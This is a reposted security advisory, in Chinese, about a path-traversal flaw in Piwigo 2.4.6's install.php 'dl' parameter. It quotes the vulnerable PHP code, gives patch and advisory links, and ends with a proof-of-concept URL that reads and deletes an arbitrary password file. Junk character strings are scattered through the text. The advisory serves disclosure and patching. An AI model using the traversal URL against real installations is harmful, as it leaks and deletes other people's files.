Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
- s. c' K6 @5 p$ x( y
& |5 r0 {* S, b/ X! G" q) g/ d; wPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
1 ~9 W2 i) k9 v. J/install.php:
2 K8 i' N! J! e2 U# B1 S7 @-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
  j; {/ I3 b: r8 v+ Q* N0 ~/ _114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
3 @, x7 O% J$ ?4 k7 H117:   header('Pragma: no-cache');
# @7 _7 I8 f5 z0 `+ W118:   header('Content-Disposition: attachment; filename="database.inc.php"');
" n7 c' O5 J9 i- b! P+ z1 L; \119:   header('Content-Transfer-Encoding: binary');
# H# h7 O% f4 d# w3 n120:   header('Content-Length: '.filesize($filename));
; \2 j% P- G; k/ Q0 C121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
====================================================================
2 r2 `  b+ j) j
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
! J+ K2 C# u8 Z0 A/ L$ y; [           PHP 5.4.4
           MySQL 5.5.25a
* ~* ]- ^& k) i
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

) ~9 ~6 F% |5 u2 K* A! r# |/ o& YAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013
0 Q5 d! I% r8 F% l5 z
--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt